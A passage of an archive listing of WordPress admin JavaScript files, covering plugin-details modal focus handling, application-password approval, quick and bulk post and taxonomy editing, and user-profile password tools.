href ) { return; } href = href.replace( /&width=[0-9]+/g, '' ); href = href.replace( /&height=[0-9]+/g, '' ); $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) ); }); }; $( window ).on( 'resize', function() { tb_position(); }); /* * Custom events: when a Thickbox iframe has loaded and when the Thickbox * modal gets removed from the DOM. */ $body .on( 'thickbox:iframe:loaded', tbWindow, function() { /* * Return if it's not the modal with the plugin details iframe. Other * thickbox instances might want to load an iframe with content from * an external domain. Avoid to access the iframe contents when we're * not sure the iframe loads from the same domain. */ if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) { return; } iframeLoaded(); }) .on( 'thickbox:removed', function() { // Set focus back to the element that opened the modal dialog. // Note: IE 8 would need this wrapped in a fake setTimeout `0`. $focusedBefore.trigger( 'focus' ); }); function iframeLoaded() { var $iframe = tbWindow.find( '#TB_iframeContent' ); // Get the iframe body. $iframeBody = $iframe.contents().find( 'body' ); // Get the tabbable elements and handle the keydown event on first load. handleTabbables(); // Set initial focus on the "Close" button. $firstTabbable.trigger( 'focus' ); /* * When the "Install" button is disabled (e.g. the Plugin is already installed) * then we can't predict where the last focusable element is. We need to get * the tabbable elements and handle the keydown event again and again, * each time the active tab panel changes. */ $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() { handleTabbables(); }); // Close the modal when pressing Escape. $iframeBody.on( 'keydown', function( event ) { if ( 27 !== event.which ) { return; } tb_remove(); }); } /* * Get the tabbable elements and detach/attach the keydown event. * Called after the iframe has fully loaded so we have all the elements we need. * Called again each time a Tab gets clicked. * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI. */ function handleTabbables() { var $firstAndLast; // Get all the tabbable elements. $tabbables = $( ':tabbable', $iframeBody ); // Our first tabbable element is always the "Close" button. $firstTabbable = tbWindow.find( '#TB_closeWindowButton' ); // Get the last tabbable element. $lastTabbable = $tabbables.last(); // Make a jQuery collection. $firstAndLast = $firstTabbable.add( $lastTabbable ); // Detach any previously attached keydown event. $firstAndLast.off( 'keydown.wp-plugin-details' ); // Attach again the keydown event on the first and last focusable elements. $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) { constrainTabbing( event ); }); } // Constrain tabbing within the plugin modal dialog. function constrainTabbing( event ) { if ( 9 !== event.which ) { return; } if ( $lastTabbable[0] === event.target && ! event.shiftKey ) { event.preventDefault(); $firstTabbable.trigger( 'focus' ); } else if ( $firstTabbable[0] === event.target && event.shiftKey ) { event.preventDefault(); $lastTabbable.trigger( 'focus' ); } } /* * Open the Plugin details modal. The event is delegated to get also the links * in the plugins search tab, after the Ajax search rebuilds the HTML. It's * delegated on the closest ancestor and not on the body to avoid conflicts * with other handlers, see Trac ticket #43082. */ $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) { // The `data-title` attribute is used only in the Plugin screens. var title = $( this ).data( 'title' ) ? wp.i18n.sprintf( // translators: %s: Plugin name. wp.i18n.__( 'Plugin: %s' ), $( this ).data( 'title' ) ) : wp.i18n.__( 'Plugin details' ); e.preventDefault(); e.stopPropagation(); // Store the element that has focus before opening the modal dialog, i.e. the control which opens it. $focusedBefore = $( this ); tb_click.call(this); // Set ARIA role, ARIA label, and add a CSS class. tbWindow .attr({ 'role': 'dialog', 'aria-label': wp.i18n.__( 'Plugin details' ) }) .addClass( 'plugin-details-modal' ); // Set title attribute on the iframe. tbWindow.find( '#TB_iframeContent' ).attr( 'title', title ); }); /* Plugin install related JS */ $( '#plugin-information-tabs a' ).on( 'click', function( event ) { var tab = $( this ).attr( 'name' ); event.preventDefault(); // Flip the tab. $( '#plugin-information-tabs a.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); // Only show the fyi box in the description section, on smaller screen, // where it's otherwise always displayed at the top. if ( 'description' !== tab && $( window ).width() < 772 ) { $( '#plugin-information-content' ).find( '.fyi' ).hide(); } else { $( '#plugin-information-content' ).find( '.fyi' ).show(); } // Flip the content. $( '#section-holder div.section' ).hide(); // Hide 'em all. $( '#section-' + tab ).show(); }); /* * When a user presses the "Upload Plugin" button, show the upload form in place * rather than sending them to the devoted upload plugin page. * The `?tab=upload` page still exists for no-js support and for plugins that * might access it directly. When we're in this page, let the link behave * like a link. Otherwise we're in the normal plugin installer pages and the * link should behave like a toggle button. */ if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) { $uploadViewToggle .attr({ role: 'button', 'aria-expanded': 'false' }) .on( 'click', function( event ) { event.preventDefault(); $body.toggleClass( 'show-upload-view' ); $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); } }); auth-app.min.js 0000644 00000004044 15174417325 0007416 0 ustar 00 /*! This file is auto-generated */ !function(t,s){var p=t("#app_name"),r=t("#approve"),e=t("#reject"),n=p.closest("form"),i={userLogin:s.user_login,successUrl:s.success,rejectUrl:s.reject};r.on("click",function(e){var a=p.val(),o=t('input[name="app_id"]',n).val();e.preventDefault(),r.prop("aria-disabled")||(0===a.length?p.trigger("focus"):(r.prop("aria-disabled",!0).addClass("disabled"),e={name:a},0<o.length&&(e.app_id=o),e=wp.hooks.applyFilters("wp_application_passwords_approve_app_request",e,i),wp.apiRequest({path:"/wp/v2/users/me/application-passwords?_locale=user",method:"POST",data:e}).done(function(e,a,o){wp.hooks.doAction("wp_application_passwords_approve_app_request_success",e,a,o);var a=s.success;a?(o=a+(-1===a.indexOf("?")?"?":"&")+"site_url="+encodeURIComponent(s.site_url)+"&user_login="+encodeURIComponent(s.user_login)+"&password="+encodeURIComponent(e.password),window.location=o):(a=wp.i18n.sprintf('<label for="new-application-password-value">'+wp.i18n.__("Your new password for %s is:")+"</label>","<strong></strong>")+' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />',o=t("<div></div>").attr("role","alert").attr("tabindex",-1).addClass("notice notice-success notice-alt").append(t("<p></p>").addClass("application-password-display").html(a)).append("<p>"+wp.i18n.__("Be sure to save this in a safe location. You will not be able to retrieve it.")+"</p>"),t("strong",o).text(e.name),t("input",o).val(e.password),n.replaceWith(o),o.trigger("focus"))}).fail(function(e,a,o){var s=o,p=null,s=(e.responseJSON&&(p=e.responseJSON).message&&(s=p.message),t("<div></div>").attr("role","alert").addClass("notice notice-error").append(t("<p></p>").text(s)));t("h1").after(s),r.removeProp("aria-disabled",!1).removeClass("disabled"),wp.hooks.doAction("wp_application_passwords_approve_app_request_error",p,a,o,e)})))}),e.on("click",function(e){e.preventDefault(),wp.hooks.doAction("wp_application_passwords_reject_app",i),window.location=s.reject}),n.on("submit",function(e){e.preventDefault()})}(jQuery,authApp); inline-edit-tax.min.js 0000644 00000005665 15174417325 0010704 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(s,l){window.inlineEditTax={init:function(){var t=this,i=s("#inline-edit");t.type=s("#the-list").attr("data-wp-lists").substr(5),t.what="#"+t.type+"-",s("#the-list").on("click",".editinline",function(){s(this).attr("aria-expanded","true"),inlineEditTax.edit(this)}),i.on("keyup",function(t){if(27===t.which)return inlineEditTax.revert()}),s(".cancel",i).on("click",function(){return inlineEditTax.revert()}),s(".save",i).on("click",function(){return inlineEditTax.save(this)}),s("input, select",i).on("keydown",function(t){if(13===t.which)return inlineEditTax.save(this)}),s('#posts-filter input[type="submit"]').on("mousedown",function(){t.revert()})},toggle:function(t){var i=this;"none"===s(i.what+i.getId(t)).css("display")?i.revert():i.edit(t)},edit:function(t){var i,e,n=this;return n.revert(),"object"==typeof t&&(t=n.getId(t)),i=s("#inline-edit").clone(!0),e=s("#inline_"+t),s("td",i).attr("colspan",s("th:visible, td:visible",".wp-list-table.widefat:first thead").length),s(n.what+t).hide().after(i).after('<tr class="hidden"></tr>'),(n=s(".name",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="name"]',i).val(n),(n=s(".slug",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="slug"]',i).val(n),s(i).attr("id","edit-"+t).addClass("inline-editor").show(),s(".ptitle",i).eq(0).trigger("focus"),!1},save:function(d){var t=s('input[name="taxonomy"]').val()||"";return"object"==typeof d&&(d=this.getId(d)),s("table.widefat .spinner").addClass("is-active"),t={action:"inline-save-tax",tax_type:this.type,tax_ID:d,taxonomy:t},t=s("#edit-"+d).find(":input").serialize()+"&"+s.param(t),s.post(ajaxurl,t,function(t){var i,e,n,a=s("#edit-"+d+" .inline-edit-save .notice-error"),r=a.find(".error");s("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(s(inlineEditTax.what+d).siblings("tr.hidden").addBack().remove(),e=s(t).attr("id"),s("#edit-"+d).before(t).remove(),i=e?(n=e.replace(inlineEditTax.type+"-",""),s("#"+e)):(n=d,s(inlineEditTax.what+d)),s("#parent").find("option[value="+n+"]").text(i.find(".row-title").text()),i.hide().fadeIn(400,function(){i.find(".editinline").attr("aria-expanded","false").trigger("focus"),l.a11y.speak(l.i18n.__("Changes saved."))})):(a.removeClass("hidden"),r.html(t),l.a11y.speak(r.text())):(a.removeClass("hidden"),r.text(l.i18n.__("Error while saving the changes.")),l.a11y.speak(l.i18n.__("Error while saving the changes.")))}),!1},revert:function(){var t=s("table.widefat tr.inline-editor").attr("id");t&&(s("table.widefat .spinner").removeClass("is-active"),s("#"+t).siblings("tr.hidden").addBack().remove(),t=t.substr(t.lastIndexOf("-")+1),s(this.what+t).show().find(".editinline").attr("aria-expanded","false").trigger("focus"))},getId:function(t){t=("TR"===t.tagName?t.id:s(t).parents("tr").attr("id")).split("-");return t[t.length-1]}},s(function(){inlineEditTax.init()})}(jQuery,window.wp); inline-edit-post.min.js 0000644 00000022647 15174417325 0011074 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(u,h){window.inlineEditPost={init:function(){var i=this,t=u("#inline-edit"),e=u("#bulk-edit"),t=(i.type=u("table.widefat").hasClass("pages")?"page":"post",i.what="#post-",t.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),e.on("keyup",function(t){if(27===t.which)return inlineEditPost.revert()}),u(".cancel",t).on("click",function(){return inlineEditPost.revert()}),u(".save",t).on("click",function(){return inlineEditPost.save(this)}),u("td",t).on("keydown",function(t){if(13===t.which&&!u(t.target).hasClass("cancel"))return inlineEditPost.save(this)}),u(".cancel",e).on("click",function(){return inlineEditPost.revert()}),u('#inline-edit .inline-edit-private input[value="private"]').on("click",function(){var t=u("input.inline-edit-password-input");u(this).prop("checked")?t.val("").prop("disabled",!0):t.prop("disabled",!1)}),u("#the-list").on("click",".editinline",function(){u(this).attr("aria-expanded","true"),inlineEditPost.edit(this)}),u("#inline-edit fieldset.inline-edit-categories").clone());t.find("*[id]").each(function(){this.id="bulk-edit-"+this.id}),u("#bulk-edit").find("fieldset:first").after(t).siblings("fieldset:last").prepend(u("#inline-edit .inline-edit-tags-wrap").clone()),u('select[name="_status"] option[value="future"]',e).remove(),u("#doaction").on("click",function(t){var e;u('#posts-filter .check-column input[type="checkbox"]:checked').length<1||(i.whichBulkButtonId=u(this).attr("id"),e=i.whichBulkButtonId.substr(2),"edit"===u('select[name="'+e+'"]').val()?(t.preventDefault(),i.setBulk()):0<u("form#posts-filter tr.inline-editor").length&&i.revert())})},toggle:function(t){var e=this;"none"===u(e.what+e.getId(t)).css("display")?e.revert():e.edit(t)},setBulk:function(){var n="",t=this.type,a=!0,e=u('tbody th.check-column input[type="checkbox"]:checked'),i={};if(this.revert(),u("#bulk-edit td").attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("table.widefat tbody").prepend(u("#bulk-edit")).prepend('<tr class="hidden"></tr>'),u("#bulk-edit").addClass("inline-editor").show(),u('tbody th.check-column input[type="checkbox"]').each(function(){var t,e,i;u(this).prop("checked")&&(a=!1,t=u(this).val(),e=u("#inline_"+t+" .post_title").html()||h.i18n.__("(no title)"),i=h.i18n.sprintf(h.i18n.__("Remove “%s” from Bulk Edit"),e),n+='<li class="ntdelitem"><button type="button" id="_'+t+'" class="button-link ntdelbutton"><span class="screen-reader-text">'+i+'</span></button><span class="ntdeltitle" aria-hidden="true">'+e+"</span></li>")}),a)return this.revert();u("#bulk-titles").html('<ul id="bulk-titles-list" role="list">'+n+"</ul>"),e.each(function(){var t=u(this).val();u("#category_"+t).text().split(",").map(function(t){i[t]||(i[t]=0),i[t]++})}),u('.inline-edit-categories input[name="post_category[]"]').each(function(){var t;i[u(this).val()]==e.length?u(this).prop("checked",!0):0<i[u(this).val()]&&(u(this).prop("indeterminate",!0),u(this).parent().find('input[name="indeterminate_post_category[]"]').length||(t=u(this).parent().text(),u(this).after('<input type="hidden" name="indeterminate_post_category[]" value="'+u(this).val()+'">').attr("aria-label",t.trim()+": "+h.i18n.__("Some selected posts have this category"))))}),u('.inline-edit-categories input[name="post_category[]"]:indeterminate').on("change",function(){u(this).removeAttr("aria-label").parent().find('input[name="indeterminate_post_category[]"]').remove()}),u(".inline-edit-save button").on("click",function(){u('.inline-edit-categories input[name="post_category[]"]').prop("indeterminate",!1)}),u("#bulk-titles .ntdelbutton").click(function(){var t=u(this),e=t.attr("id").substr(1),i=t.parent().prev().children(".ntdelbutton"),t=t.parent().next().children(".ntdelbutton");u("input#cb-select-all-1, input#cb-select-all-2").prop("checked",!1),u('table.widefat input[value="'+e+'"]').prop("checked",!1),u("#_"+e).parent().remove(),h.a11y.speak(h.i18n.__("Item removed."),"assertive"),t.length?t.focus():i.length?i.focus():(u("#bulk-titles-list").remove(),inlineEditPost.revert(),h.a11y.speak(h.i18n.__("All selected items have been removed. Select new items to use Bulk Actions.")))}),"post"===t&&u("tr.inline-editor textarea[data-wp-taxonomy]").each(function(t,e){u(e).autocomplete("instance")||u(e).wpTagsSuggest()}),u("#bulk-edit .inline-edit-wrapper").attr("tabindex","-1").focus(),u("html, body").animate({scrollTop:0},"fast")},edit:function(n){var t,a,e,i,s,o,r,l,d=this,c=!0;for(d.revert(),"object"==typeof n&&(n=d.getId(n)),t=["post_title","post_name","post_author","_status","jj","mm","aa","hh","mn","ss","post_password","post_format","menu_order","page_template"],"page"===d.type&&t.push("post_parent"),a=u("#inline-edit").clone(!0),u("td",a).attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("td",a).find("#quick-edit-legend").removeAttr("id"),u("td",a).find('p[id^="quick-edit-"]').removeAttr("id"),u(d.what+n).removeClass("is-expanded").hide().after(a).after('<tr class="hidden"></tr>'),e=u("#inline_"+n),u(':input[name="post_author"] option[value="'+u(".post_author",e).text()+'"]',a).val()||u(':input[name="post_author"]',a).prepend('<option value="'+u(".post_author",e).text()+'">'+u("#post-"+n+" .author").text()+"</option>"),1===u(':input[name="post_author"] option',a).length&&u("label.inline-edit-author",a).hide(),r=0;r<t.length;r++)(l=u("."+t[r],e)).find("img").replaceWith(function(){return this.alt}),l=l.text(),u(':input[name="'+t[r]+'"]',a).val(l);"open"===u(".comment_status",e).text()&&u('input[name="comment_status"]',a).prop("checked",!0),"open"===u(".ping_status",e).text()&&u('input[name="ping_status"]',a).prop("checked",!0),"sticky"===u(".sticky",e).text()&&u('input[name="sticky"]',a).prop("checked",!0),u(".post_category",e).each(function(){var t,e=u(this).text();e&&(t=u(this).attr("id").replace("_"+n,""),u("ul."+t+"-checklist :checkbox",a).val(e.split(",")))}),u(".tags_input",e).each(function(){var t=u(this),e=u(this).attr("id").replace("_"+n,""),e=u("textarea.tax_input_"+e,a),i=h.i18n._x(",","tag delimiter").trim();e.length&&(t.find("img").replaceWith(function(){return this.alt}),(t=t.text())&&(","!==i&&(t=t.replace(/,/g,i)),e.val(t)),e.wpTagsSuggest())});var p,d=u(':input[name="aa"]').val()+"-"+u(':input[name="mm"]').val()+"-"+u(':input[name="jj"]').val(),d=(d+=" "+u(':input[name="hh"]').val()+":"+u(':input[name="mn"]').val()+":"+u(':input[name="ss"]').val(),new Date(d));if(("future"!==(p=u("._status",e).text())&&Date.now()>d?u('select[name="_status"] option[value="future"]',a):u('select[name="_status"] option[value="publish"]',a)).remove(),d=u(".inline-edit-password-input").prop("disabled",!1),"private"===p&&(u('input[name="keep_private"]',a).prop("checked",!0),d.val("").prop("disabled",!0)),0<(i=u('select[name="post_parent"] option[value="'+n+'"]',a)).length){for(s=i[0].className.split("-")[1],o=i;c&&0!==(o=o.next("option")).length;)o[0].className.split("-")[1]<=s?c=!1:(o.remove(),o=i);i.remove()}return u(a).attr("id","edit-"+n).addClass("inline-editor").show(),u(".ptitle",a).trigger("focus"),!1},save:function(n){var t=u(".post_status_page").val()||"";return"object"==typeof n&&(n=this.getId(n)),u("table.widefat .spinner").addClass("is-active"),t={action:"inline-save",post_type:typenow,post_ID:n,edit_date:"true",post_status:t},t=u("#edit-"+n).find(":input").serialize()+"&"+u.param(t),u.post(ajaxurl,t,function(t){var e=u("#edit-"+n+" .inline-edit-save .notice-error"),i=e.find(".error");u("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(u(inlineEditPost.what+n).siblings("tr.hidden").addBack().remove(),u("#edit-"+n).before(t).remove(),u(inlineEditPost.what+n).hide().fadeIn(400,function(){u(this).find(".editinline").attr("aria-expanded","false").trigger("focus"),h.a11y.speak(h.i18n.__("Changes saved."))})):(t=t.replace(/<.[^<>]*?>/g,""),e.removeClass("hidden"),i.html(t),h.a11y.speak(i.text())):(e.removeClass("hidden"),i.text(h.i18n.__("Error while saving the changes.")),h.a11y.speak(h.i18n.__("Error while saving the changes.")))},"html"),!1},revert:function(){var t=u(".widefat"),e=u(".inline-editor",t).attr("id");return e&&(u(".spinner",t).removeClass("is-active"),("bulk-edit"===e?(u("#bulk-edit",t).removeClass("inline-editor").hide().siblings(".hidden").remove(),u("#bulk-titles").empty(),u("#inlineedit").append(u("#bulk-edit")),u("#"+inlineEditPost.whichBulkButtonId)):(u("#"+e).siblings("tr.hidden").addBack().remove(),e=e.substr(e.lastIndexOf("-")+1),u(this.what+e).show().find(".editinline").attr("aria-expanded","false"))).trigger("focus")),!1},getId:function(t){t=u(t).closest("tr").attr("id").split("-");return t[t.length-1]}},u(function(){inlineEditPost.init()}),u(function(){void 0!==h&&h.heartbeat&&h.heartbeat.interval(10)}).on("heartbeat-tick.wp-check-locked-posts",function(t,e){var n=e["wp-check-locked-posts"]||{};u("#the-list tr").each(function(t,e){var i=e.id,e=u(e);n.hasOwnProperty(i)?e.hasClass("wp-locked")||(i=n[i],e.find(".column-title .locked-text").text(i.text),e.find(".check-column checkbox").prop("checked",!1),i.avatar_src&&(i=u("<img />",{class:"avatar avatar-18 photo",width:18,height:18,alt:"",src:i.avatar_src,srcset:i.avatar_src_2x?i.avatar_src_2x+" 2x":void 0}),e.find(".column-title .locked-avatar").empty().append(i)),e.addClass("wp-locked")):e.hasClass("wp-locked")&&e.removeClass("wp-locked").find(".locked-info span").empty()})}).on("heartbeat-send.wp-check-locked-posts",function(t,e){var i=[];u("#the-list tr").each(function(t,e){e.id&&i.push(e.id)}),i.length&&(e["wp-check-locked-posts"]=i)})}(jQuery,window.wp); user-profile.js 0000644 00000043647 15174417325 0007545 0 ustar 00 /** * @output wp-admin/js/user-profile.js */ /* global ajaxurl, pwsL10n, userProfileL10n, ClipboardJS */ (function($) { var updateLock = false, isSubmitting = false, __ = wp.i18n.__, clipboard = new ClipboardJS( '.application-password-display .copy-button' ), $pass1Row, $pass1, $pass2, $weakRow, $weakCheckbox, $toggleButton, $submitButtons, $submitButton, currentPass, $form, originalFormContent, $passwordWrapper, successTimeout, isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false, ua = navigator.userAgent.toLowerCase(), isSafari = window.safari !== 'undefined' && typeof window.safari === 'object', isFirefox = ua.indexOf( 'firefox' ) !== -1; function generatePassword() { if ( typeof zxcvbn !== 'function' ) { setTimeout( generatePassword, 50 ); return; } else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) { // zxcvbn loaded before user entered password, or generating new password. $pass1.val( $pass1.data( 'pw' ) ); $pass1.trigger( 'pwupdate' ); showOrHideWeakPasswordCheckbox(); } else { // zxcvbn loaded after the user entered password, check strength. check_pass_strength(); showOrHideWeakPasswordCheckbox(); } /* * This works around a race condition when zxcvbn loads quickly and * causes `generatePassword()` to run prior to the toggle button being * bound. */ bindToggleButton(); // Install screen. if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) { // Show the password not masked if admin_password hasn't been posted yet. $pass1.attr( 'type', 'text' ); } else { // Otherwise, mask the password. $toggleButton.trigger( 'click' ); } // Once zxcvbn loads, passwords strength is known. $( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) ); // Focus the password field if not the install screen. if ( 'mailserver_pass' !== $pass1.prop('id' ) && ! $('#weblog_title').length ) { $( $pass1 ).trigger( 'focus' ); } } function bindPass1() { currentPass = $pass1.val(); if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) { generatePassword(); } $pass1.on( 'input' + ' pwupdate', function () { if ( $pass1.val() === currentPass ) { return; } currentPass = $pass1.val(); // Refresh password strength area. $pass1.removeClass( 'short bad good strong' ); showOrHideWeakPasswordCheckbox(); } ); bindCapsLockWarning( $pass1 ); } function resetToggle( show ) { $toggleButton .attr({ 'aria-label': show ? __( 'Show password' ) : __( 'Hide password' ) }) .find( '.text' ) .text( show ? __( 'Show' ) : __( 'Hide' ) ) .end() .find( '.dashicons' ) .removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' ) .addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' ); } function bindToggleButton() { if ( !! $toggleButton ) { // Do not rebind. return; } $toggleButton = $pass1Row.find('.wp-hide-pw'); // Toggle between showing and hiding the password. $toggleButton.show().on( 'click', function () { if ( 'password' === $pass1.attr( 'type' ) ) { $pass1.attr( 'type', 'text' ); resetToggle( false ); } else { $pass1.attr( 'type', 'password' ); resetToggle( true ); } }); // Ensure the password input type is set to password when the form is submitted. $pass1Row.closest( 'form' ).on( 'submit', function() { if ( $pass1.attr( 'type' ) === 'text' ) { $pass1.attr( 'type', 'password' ); resetToggle( true ); } } ); } /** * Handle the password reset button. Sets up an ajax callback to trigger sending * a password reset email. */ function bindPasswordResetLink() { $( '#generate-reset-link' ).on( 'click', function() { var $this = $(this), data = { 'user_id': userProfileL10n.user_id, // The user to send a reset to. 'nonce': userProfileL10n.nonce // Nonce to validate the action. }; // Remove any previous error messages. $this.parent().find( '.notice-error' ).remove(); // Send the reset request. var resetAction = wp.ajax.post( 'send-password-reset', data ); // Handle reset success. resetAction.done( function( response ) { addInlineNotice( $this, true, response ); } ); // Handle reset failure. resetAction.fail( function( response ) { addInlineNotice( $this, false, response ); } ); }); } /** * Helper function to insert an inline notice of success or failure. * * @param {jQuery Object} $this The button element: the message will be inserted * above this button * @param {bool} success Whether the message is a success message. * @param {string} message The message to insert. */ function addInlineNotice( $this, success, message ) { var resultDiv = $( '<div />', { role: 'alert' } ); // Set up the notice div. resultDiv.addClass( 'notice inline' ); // Add a class indicating success or failure. resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) ); // Add the message, wrapping in a p tag, with a fadein to highlight each message. resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />'); // Disable the button when the callback has succeeded. $this.prop( 'disabled', success ); // Remove any previous notices. $this.siblings( '.notice' ).remove(); // Insert the notice. $this.before( resultDiv ); } function bindPasswordForm() { var $generateButton, $cancelButton; $pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' ); // Hide the confirm password field when JavaScript support is enabled. $('.user-pass2-wrap').hide(); $submitButton = $( '#submit, #wp-submit' ).on( 'click', function () { updateLock = false; }); $submitButtons = $submitButton.add( ' #createusersub' ); $weakRow = $( '.pw-weak' ); $weakCheckbox = $weakRow.find( '.pw-checkbox' ); $weakCheckbox.on( 'change', function() { $submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) ); } ); $pass1 = $('#pass1, #mailserver_pass'); if ( $pass1.length ) { bindPass1(); } else { // Password field for the login form. $pass1 = $( '#user_pass' ); bindCapsLockWarning( $pass1 ); } /* * Fix a LastPass mismatch issue, LastPass only changes pass2. * * This fixes the issue by copying any changes from the hidden * pass2 field to the pass1 field, then running check_pass_strength. */ $pass2 = $( '#pass2' ).on( 'input', function () { if ( $pass2.val().length > 0 ) { $pass1.val( $pass2.val() ); $pass2.val(''); currentPass = ''; $pass1.trigger( 'pwupdate' ); } } ); // Disable hidden inputs to prevent autofill and submission. if ( $pass1.is( ':hidden' ) ) { $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); } $passwordWrapper = $pass1Row.find( '.wp-pwd' ); $generateButton = $pass1Row.find( 'button.wp-generate-pw' ); bindToggleButton(); $generateButton.show(); $generateButton.on( 'click', function () { updateLock = true; // Make sure the password fields are shown. $generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' ); $passwordWrapper .show() .addClass( 'is-open' ); // Enable the inputs when showing. $pass1.attr( 'disabled', false ); $pass2.attr( 'disabled', false ); // Set the password to the generated value. generatePassword(); // Show generated password in plaintext by default. resetToggle ( false ); // Generate the next password and cache. wp.ajax.post( 'generate-password' ) .done( function( data ) { $pass1.data( 'pw', data ); } ); } ); $cancelButton = $pass1Row.find( 'button.wp-cancel-pw' ); $cancelButton.on( 'click', function () { updateLock = false; // Disable the inputs when hiding to prevent autofill and submission. $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); // Clear password field and update the UI. $pass1.val( '' ).trigger( 'pwupdate' ); resetToggle( false ); // Hide password controls. $passwordWrapper .hide() .removeClass( 'is-open' ); // Stop an empty password from being submitted as a change. $submitButtons.prop( 'disabled', false ); $generateButton.attr( 'aria-expanded', 'false' ); } ); $pass1Row.closest( 'form' ).on( 'submit', function () { updateLock = false; $pass1.prop( 'disabled', false ); $pass2.prop( 'disabled', false ); $pass2.val( $pass1.val() ); }); } function check_pass_strength() { var pass1 = $('#pass1').val(), strength; $('#pass-strength-result').removeClass('short bad good strong empty'); if ( ! pass1 || '' === pass1.trim() ) { $( '#pass-strength-result' ).addClass( 'empty' ).html( ' ' ); return; } strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 ); switch ( strength ) { case -1: $( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown ); break; case 2: $('#pass-strength-result').addClass('bad').html( pwsL10n.bad ); break; case 3: $('#pass-strength-result').addClass('good').html( pwsL10n.good ); break; case 4: $('#pass-strength-result').addClass('strong').html( pwsL10n.strong ); break; case 5: $('#pass-strength-result').addClass('short').html( pwsL10n.mismatch ); break; default: $('#pass-strength-result').addClass('short').html( pwsL10n.short ); } } /** * Bind Caps Lock detection to a password input field. * * @param {jQuery} $input The password input field. */ function bindCapsLockWarning( $input ) { var $capsWarning, $capsIcon, $capsText, capsLockOn = false; // Skip warning on macOS Safari + Firefox (they show native indicators). if ( isMac && ( isSafari || isFirefox ) ) { return; } $capsWarning = $( '<div id="caps-warning" class="caps-warning"></div>' ); $capsIcon = $( '<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>' ); $capsText = $( '<span>', { 'class': 'caps-warning-text', text: __( 'Caps lock is on.' ) } ); $capsWarning.append( $capsIcon, $capsText ); $input.parent( 'div' ).append( $capsWarning ); $input.on( 'keydown', function( jqEvent ) { var event = jqEvent.originalEvent; // Skip if key is not a printable character. // Key length > 1 usually means non-printable (e.g., "Enter", "Tab"). if ( event.ctrlKey || event.metaKey || event.altKey || ! event.key || event.key.length !== 1 ) { return; } var state = isCapsLockOn( event ); // React when the state changes or if caps lock is on when the user starts typing. if ( state !== capsLockOn ) { capsLockOn = state; if ( capsLockOn ) { $capsWarning.show(); // Don't duplicate existing screen reader Caps lock notifications. if ( event.key !== 'CapsLock' ) { wp.a11y.speak( __( 'Caps lock is on.' ), 'assertive' ); } } else { $capsWarning.hide(); } } } ); $input.on( 'blur', function() { if ( ! document.hasFocus() ) { return; } capsLockOn = false; $capsWarning.hide(); } ); } /** * Determines if Caps Lock is currently enabled. * * On macOS Safari and Firefox, the native warning is preferred, * so this function returns false to suppress custom warnings. * * @param {KeyboardEvent} e The keydown event object. * * @return {boolean} True if Caps Lock is on, false otherwise. */ function isCapsLockOn( event ) { return event.getModifierState( 'CapsLock' ); } function showOrHideWeakPasswordCheckbox() { var passStrengthResult = $('#pass-strength-result'); if ( passStrengthResult.length ) { var passStrength = passStrengthResult[0]; if ( passStrength.className ) { $pass1.addClass( passStrength.className ); if ( $( passStrength ).is( '.short, .bad' ) ) { if ( ! $weakCheckbox.prop( 'checked' ) ) { $submitButtons.prop( 'disabled', true ); } $weakRow.show(); } else { if ( $( passStrength ).is( '.empty' ) ) { $submitButtons.prop( 'disabled', true ); $weakCheckbox.prop( 'checked', false ); } else { $submitButtons.prop( 'disabled', false ); } $weakRow.hide(); } } } } // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( '.application-password-display' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Application password has been copied to your clipboard.' ) ); } ); $( function() { var $colorpicker, $stylesheet, user_id, current_user_id, select = $( '#display_name' ), current_name = select.val(), greeting = $( '#wp-admin-bar-my-account' ).find( '.display-name' ); $( '#pass1' 